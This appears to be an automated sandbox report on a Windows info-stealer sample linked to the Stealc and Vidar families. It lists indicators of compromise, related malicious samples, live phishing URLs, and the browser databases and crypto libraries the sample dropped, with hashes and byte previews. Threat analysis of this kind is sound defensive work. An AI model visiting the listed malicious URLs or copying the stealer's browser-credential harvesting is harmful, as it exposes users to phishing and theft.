Classification:	mal100.troj.spyw.evad.winEXE@28/48@4/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 142.250.181.142, 64.233.161.84, 172.217.17.46, 172.217.21.35, 172.217.19.202, 172.217.17.42, 172.217.19.234, 142.250.181.42, 142.250.181.106, 172.217.19.10, 172.217.19.170, 142.250.181.138, 172.217.17.74, 142.250.181.74, 172.217.21.42, 192.229.221.95, 217.20.58.100, 104.85.16.144, 13.107.246.63, 20.109.210.53, 23.218.208.109
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: gYjK72gL17.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
239.255.255.250	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	Audio02837498.html	Get hash	malicious	HTMLPhisher	Browse
	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse
	gDPzgKHFws.exe	Get hash	malicious	Cryptbot	Browse
	https://app.salesforceiq.com/r?target=631f420eed13ca3bcf77c324&t=AFwhZf065tBQQJtb1QfwP5t--0vgBJ0h_ebIEq5KFXSXqUZai5J8FQSwWrq93GQOlAns9KDGvW4ICfvxj8Z5CJD1Q9Wt5o0NW5c0cKHizUAbubpaOgmKjcVLdh1YXO2nIltTeoePggUL&url=https://monaghans.jimdosite.com	Get hash	malicious	HTMLPhisher	Browse
	https://office356quilter.krkonqghz.ru/Vt2VD2f3#https://outlookofficecom/mail/deleteditems/id/AAQkADU5#aGVpZGkuZGlsa0BxdWlsdGVyLmNvbQ==	Get hash	malicious	Unknown	Browse
	http://au.kirmalk.com/watch.php?vid=7750fd3c8	Get hash	malicious	Unknown	Browse
	https://omnifoodss.shop/?gad_source=5&gclid=Cj0KCQiAsaS7BhDPARIsAAX5cSBpCjSDfHP5hLlH09ETnV9pO4jbsxm8914mpY3eLfBQV05eSpCw7O4aAuXFEALw_wcB	Get hash	malicious	Unknown	Browse
	eCompleted_419z.pdf	Get hash	malicious	HTMLPhisher	Browse
	https://www.bing.com/search?pglt=41&q=%E5%B9%B3%E6%88%9031%E5%B9%B4+%E8%A5%BF%E6%9A%A6&cvid=467cba4c80be484e858dd735013f0921&gs_lcrp=EgRlZGdlKgYIARAAGEAyBggAEEUYOTIGCAEQABhAMgYIAhAAGEAyBggDEAAYQDIGCAQQABhAMgYIBRAAGEAyBggGEAAYQDIGCAcQABhAMgYICBAAGEAyCAgJEOkHGPxV0gEINjUyMGowajGoAgCwAgE&FORM=ANNAB1&PC=U531	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
plus.l.google.com	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.217.17.46
	https://specificallycries.com/askyhgxe?stixna=48&refer=https%3A%2F%2Fwww.bodyvitalspa.com%2F&kw=%5B%22welcome%22%2C%22to%22%2C%22body%22%2C%22vital%22%2C%22foot%22%2C%22spa%22%2C%22-%22%2C%22body%22%2C%22vital%22%2C%22foot%22%2C%22spa%22%5D&key=0b0f64ea0800e4174573a0e17513102f&scrWidth=1920&scrHeight=1080&tz=-5&v=24.12.6652&ship=&psid=www.bodyvitalspa.com,www.bodyvitalspa.com&sub3=invoke_layer&res=14.31&dev=r&adb=n&uuid=64597ca1-acf8-4c16-8774-db4c7f843adf%3A3%3A1&adb=n	Get hash	malicious	Anonymous Proxy	Browse	142.250.181.78
	http://plnbl.io/review/FSUQBEfTfzwH	Get hash	malicious	Unknown	Browse	142.250.181.78
	5diately.msg	Get hash	malicious	Unknown	Browse	142.251.37.238
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	142.250.181.78
	1lhZVZx5nD.exe	Get hash	malicious	Stealc, Vidar	Browse	172.217.17.46
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	142.250.181.78
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	172.217.17.46
	gVMKOpATpQ.exe	Get hash	malicious	Unknown	Browse	142.250.181.78
	FnTSHWLNWB.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.181.78

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ON-LINE-DATAServerlocation-NetherlandsDrontenNL	1lhZVZx5nD.exe	Get hash	malicious	Stealc, Vidar	Browse	91.211.250.247
	FnTSHWLNWB.exe	Get hash	malicious	Stealc, Vidar	Browse	185.219.81.132
	arm.elf	Get hash	malicious	Mirai	Browse	185.235.146.207
	2BI8rJKpBa.exe	Get hash	malicious	Stealc, Vidar	Browse	185.219.81.132
	2AIgdyA1Cl.exe	Get hash	malicious	Stealc, Vidar	Browse	185.219.81.132
	1So9BcQi1J.exe	Get hash	malicious	Stealc, Vidar	Browse	185.219.81.135
	ZXVcgrmGRM.exe	Get hash	malicious	Stealc, Vidar	Browse	185.219.81.135
	6aTAU3Dzp6.exe	Get hash	malicious	Stealc, Vidar	Browse	92.119.114.51
	hD7SED8r8Q.exe	Get hash	malicious	Stealc, Vidar	Browse	45.91.201.185
	IYXE4Uz61k.exe	Get hash	malicious	DCRat, PureLog Stealer, Xmrig, zgRAT	Browse	45.137.64.40

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Technonomic.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	20.198.118.190
	Gq48hjKhZf.exe	Get hash	malicious	LodaRAT	Browse	20.198.118.190
	Gq48hjKhZf.exe	Get hash	malicious	Unknown	Browse	20.198.118.190
	singl6.mp4.hta	Get hash	malicious	LummaC	Browse	20.198.118.190
	hnskdfgjgar22.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	20.198.118.190
	Proforma Invoice.exe	Get hash	malicious	MassLogger RAT	Browse	20.198.118.190
	Azygoses125.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	20.198.118.190
	WO.exe	Get hash	malicious	Metasploit	Browse	20.198.118.190
	ChoForgot.exe	Get hash	malicious	Vidar	Browse	20.198.118.190
	payment_3493.pdf	Get hash	malicious	Unknown	Browse	20.198.118.190

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse
	ElmEHL9kP9.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	xlSzrIs5h6.exe	Get hash	malicious	LummaC, Stealc	Browse
	1lhZVZx5nD.exe	Get hash	malicious	Stealc, Vidar	Browse
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse
	FnTSHWLNWB.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse
	ElmEHL9kP9.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	xlSzrIs5h6.exe	Get hash	malicious	LummaC, Stealc	Browse
	1lhZVZx5nD.exe	Get hash	malicious	Stealc, Vidar	Browse
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse
	FnTSHWLNWB.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\DBKFHCFB

Download File

Process:	C:\Users\user\Desktop\gYjK72gL17.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGDGIIJJECFIDHJJKKFC

Download File

Process:	C:\Users\user\Desktop\gYjK72gL17.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCGHJEBGHJKEBFHIJDHC

Download File

Process:	C:\Users\user\Desktop\gYjK72gL17.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDBGDHDAECBGDHJKFIDGCBFBKF

Download File

Process:	C:\Users\user\Desktop\gYjK72gL17.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJKEBGHJ

Download File

Process:	C:\Users\user\Desktop\gYjK72gL17.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJKEBGHJKFIDGCAAFCAF

Download File

Process:	C:\Users\user\Desktop\gYjK72gL17.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\KKJKKJJKJEGIECAKJJEBFBAKKE

Download File

Process:	C:\Users\user\Desktop\gYjK72gL17.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\gYjK72gL17.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: iUKUR1nUyD.exe, Detection: malicious, Browse Filename: cMTqzvmx9u.exe, Detection: malicious, Browse Filename: ElmEHL9kP9.exe, Detection: malicious, Browse Filename: xlSzrIs5h6.exe, Detection: malicious, Browse Filename: 1lhZVZx5nD.exe, Detection: malicious, Browse Filename: Qsqi9KQXgy.exe, Detection: malicious, Browse Filename: uLkHEqZ3u3.exe, Detection: malicious, Browse Filename: FnTSHWLNWB.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\gYjK72gL17.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: iUKUR1nUyD.exe, Detection: malicious, Browse Filename: cMTqzvmx9u.exe, Detection: malicious, Browse Filename: ElmEHL9kP9.exe, Detection: malicious, Browse Filename: xlSzrIs5h6.exe, Detection: malicious, Browse Filename: 1lhZVZx5nD.exe, Detection: malicious, Browse Filename: Qsqi9KQXgy.exe, Detection: malicious, Browse Filename: uLkHEqZ3u3.exe, Detection: malicious, Browse Filename: FnTSHWLNWB.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\gYjK72gL17.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\gYjK72gL17.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\gYjK72gL17.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\gYjK72gL17.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\252e7d07-b478-4722-bb94-6b2eaa7af594.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44910
Entropy (8bit):	6.095048640856352
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW/Ji1zNtj/4W9mtHNEbWuQaJjKJDSgzMMd6qD47u3S:+/Ps+wsI7ynBlCH6KtSmd6qE7lFoC
MD5:	2C81E07505DE24FD931611038534F201
SHA1:	FD92A0E67B45931C5D43BC086F7239DF7585DD2E
SHA-256:	4505D4BEAF90E7E0C1AC9BBF867C6607D540FE73F9001E4AA6B1EC85DC8A9817
SHA-512:	FB6B9CBAC5FF45ECB4CF7FABFA456AC19D31BEA9D971D76FB8110356355F98911685478A0D11BB54D028A53C53A34B2AA36362757CB1B9AF9D67CD9004EADF8D
Malicious:	false
